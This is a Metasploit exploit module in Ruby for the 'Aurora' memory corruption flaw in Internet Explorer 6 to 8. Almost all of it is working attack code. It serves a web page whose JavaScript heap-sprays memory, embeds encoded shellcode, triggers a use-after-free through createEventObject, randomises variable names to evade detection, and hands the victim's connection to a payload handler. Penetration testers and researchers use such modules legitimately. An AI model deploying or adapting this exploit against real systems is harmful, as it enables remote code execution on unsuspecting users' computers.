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# $Id: ie_aurora.rb 8136 2010-01-15 21:36:04Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer "Aurora" Memory Corruption',
'Description' => %q{
This module exploits a memory corruption flaw in Internet Explorer. This
flaw was found in the wild.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown',
'hdm' # Metasploit port
],
'Version' => '$Revision: 8136 $',
'References' =>
[
['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Jan 14 2009', # wepawet sample
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
if (request.uri.match(/\.gif/i))
data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
send_response(cli, data, { 'Content-Type' => 'image/gif' })
return
end
var_memory = rand_text_alpha(rand(100) + 1)
var_boom = rand_text_alpha(rand(100) + 1)
var_x1 = rand_text_alpha(rand(100) + 1)
var_e1 = rand_text_alpha(rand(100) + 1)
var_e2 = rand_text_alpha(rand(100) + 1)
var_comment = rand_text_alpha(rand(100) + 1);
var_abc = rand_text_alpha(3);
var_ev1 = rand_text_alpha(rand(100) + 1)
var_ev2 = rand_text_alpha(rand(100) + 1)
var_sp1 = rand_text_alpha(rand(100) + 1)
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
rand_html = rand_text_english(rand(400) + 500)
html = %Q|<html>
<head>
<script>
var #{var_comment} = "COMMENT";
var #{var_x1} = new Array();
for (i = 0; i < 200; i ++ ){
#{var_x1} = document.createElement(#{var_comment});
#{var_x1}.data = "#{var_abc}";
};
var #{var_e1} = null;
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
function #{var_boom}() {
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
}
function #{var_ev1}(evt){
#{var_boom}();
#{var_e1} = document.createEventObject(evt);
document.getElementById("#{var_sp1}").innerHTML = "";
window.setInterval(#{var_ev2}, 50);
}
function #{var_ev2}(){
p = "\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
for (i = 0; i < #{var_x1}.length; i ++ ){
#{var_x1}.data = p;
}
var t = #{var_e1}.srcElement;
}
</script>
</head>
<body>
<span id="#{var_sp1}"><img src="#{get_resource}#{var_start}.gif" onload="#{var_ev1}(event)"></span></body></html>
</body>
</html>
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# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end
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